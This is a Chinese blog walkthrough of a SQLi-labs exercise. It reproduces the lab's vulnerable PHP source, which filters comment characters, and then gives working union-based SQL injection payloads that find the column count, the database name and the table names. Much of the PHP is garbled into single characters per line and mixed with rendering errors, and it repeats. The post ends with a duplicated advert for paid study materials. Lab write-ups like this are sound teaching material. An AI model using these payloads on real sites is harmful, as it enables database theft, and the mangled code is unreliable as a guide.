{
i
d
=
id=
id=_GET[‘id’];
//filter the comments out so as to comments should not work
$reg = “/#/”;
$reg1 = “/–/”;
$replace = “”;
i
d
=
p
r
e
g
_
r
e
p
l
a
c
e
(
id = preg\_replace(
id=preg_replace(reg, $replace, $id);
i
d
=
p
r
e
g
_
r
e
p
l
a
c
e
(
id = preg\_replace(
id=preg_replace(reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
f
p
=
f
o
p
e
n
(
′
r
e
s
u
l
t
.
t
x
t
′
,
′
a
′
)
;
f
w
r
i
t
e
(
fp=fopen('result.txt','a'); fwrite(
fp=fopen(′result.txt′,′a′);fwrite(fp,‘ID:’.KaTeX parse error: Undefined control sequence: \n at position 5: id."\̲n̲"); fclose(fp);
// connectivity
KaTeX parse error: Undefined control sequence: \* at position 13: sql="SELECT \̲*̲ FROM users WHE…id’ LIMIT 0,1";
r
e
s
u
l
t
=
m
y
s
q
l
_
q
u
e
r
y
(
result=mysql\_query(
result=mysql_query(sql);
r
o
w
=
m
y
s
q
l
_
f
e
t
c
h
_
a
r
r
a
y
(
row = mysql\_fetch\_array(
row=mysql_fetch_array(result);
if($row)
{
echo '<font color= "#0000ff">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print\_r(mysql\_error());
echo "</font>";
}
}
else { echo “Please input the ID as parameter with numeric value”;}
?>
可以看到关键代码:
//filter the comments out so as to comments should not work
$reg = “/#/”;
$reg1 = “/–/”;
$replace = “”;
i
d
=
p
r
e
g
_
r
e
p
l
a
c
e
(
id = preg\_replace(
id=preg_replace(reg, $replace, $id);
i
d
=
p
r
e
g
_
r
e
p
l
a
c
e
(
id = preg\_replace(
id=preg_replace(reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
f
p
=
f
o
p
e
n
(
′
r
e
s
u
l
t
.
t
x
t
′
,
′
a
′
)
;
f
w
r
i
t
e
(
fp=fopen('result.txt','a'); fwrite(
fp=fopen(′result.txt′,′a′);fwrite(fp,‘ID:’.KaTeX parse error: Undefined control sequence: \n at position 5: id."\̲n̲"); fclose(fp);
// connectivity
KaTeX parse error: Undefined control sequence: \* at position 13: sql="SELECT \̲*̲ FROM users WHE…id’ LIMIT 0,1";
r
e
s
u
l
t
=
m
y
s
q
l
_
q
u
e
r
y
(
result=mysql\_query(
result=mysql_query(sql);
代码审计一下:
//filter the comments out so as to comments should not work
$reg = “/#/”; // 正则表达式规则,用于过滤掉注释符号 #
$reg1 = “/–/”; // 正则表达式规则,用于过滤掉注释符号 –
$replace = “”; // 替换为空字符串,以实现注释的过滤
i
d
=
p
r
e
g
_
r
e
p
l
a
c
e
(
id = preg\_replace(
id=preg_replace(reg, $replace, $id); // 使用 preg_replace 过滤 $id 中的注释符号 #
i
d
=
p
r
e
g
_
r
e
p
l
a
c
e
(
id = preg\_replace(
id=preg_replace(reg1, $replace, $id); // 使用 preg_replace 过滤 $id 中的注释符号 –
//logging the connection parameters to a file for analysis.
f
p
=
f
o
p
e
n
(
′
r
e
s
u
l
t
.
t
x
t
′
,
′
a
′
)
;
/
/
打开一个文件
r
e
s
u
l
t
.
t
x
t
,以追加写入的方式
f
w
r
i
t
e
(
fp=fopen('result.txt','a'); // 打开一个文件 result.txt,以追加写入的方式 fwrite(
fp=fopen(′result.txt′,′a′);//打开一个文件result.txt,以追加写入的方式fwrite(fp,‘ID:’.KaTeX parse error: Undefined control sequence: \n at position 5: id."\̲n̲"); //…fp); // 关闭文件句柄
// connectivity
KaTeX parse error: Undefined control sequence: \* at position 13: sql="SELECT \̲*̲ FROM users WHE…id’ LIMIT 0,1"; // 构建 SQL 查询语句,根据过滤后的 $id 查询用户表中的数据
r
e
s
u
l
t
=
m
y
s
q
l
_
q
u
e
r
y
(
result=mysql\_query(
result=mysql_query(sql); // 执行 SQL 查询
也就是说,当我们输入的内容为`1' order by 3 --`时,查询语句变为
$sql=“SELECT * FROM users WHERE id=‘1’ order by 3 --’ LIMIT 0,1”;
相当于
$sql="SELECT * FROM users WHERE id=‘1’ order by 3;
然而由于#和- -被注释
查询语句实际上是:
$sql=“SELECT * FROM users WHERE id=‘1’ order by 3’ LIMIT 0,1”;
故查询会失败
如何绕过呢?
我们只要使单引号数量匹配即可
例如,我们可以输入`?id=0' sql语句 and '1'='1`
此时查询语句变为
$sql=“SELECT * FROM users WHERE id=‘?id=0’ sql语句 and ‘1’=‘1’ LIMIT 0,1”;
即可成功实现sql注入
---
### 判断注入点个数
?id=0’ union select 1,2 and ‘1’='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/e98afcd94833449582c181db542c0288.png#pic_center)
注入点个数不为2
接着
?id=0’ union select 1,2,3 and ‘1’='1
成功回显,故注入点个数为3,且位点2在login name上
![在这里插入图片描述](https://img-blog.csdnimg.cn/3f2c33cd968047e59cc2d6000451001b.png#pic_center)
---
### 查库名
?id=0’ union select 1,database(),3 and ‘1’='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/603878bfa7f24bbab994fb022b769d0e.png#pic_center)
回显库名security
---
### 查表名
?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ and ‘1’='1
## 最后
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/3160fe582175a21e91b52cd1257c02ff.png)
![img](https://img-blog.csdnimg.cn/img_convert/5c53eb265d5fe9feeb045b3c4c994c96.png)
![img](https://img-blog.csdnimg.cn/img_convert/fb7cda80c84718d5ebe56ee7ee195b0f.png)
![img](https://img-blog.csdnimg.cn/img_convert/e773a5c3e89dd3271c1d991c5afb6d56.png)
![img](https://img-blog.csdnimg.cn/img_convert/2ceeabc29203f25ae501f054e6bdc9e8.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
01)]
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**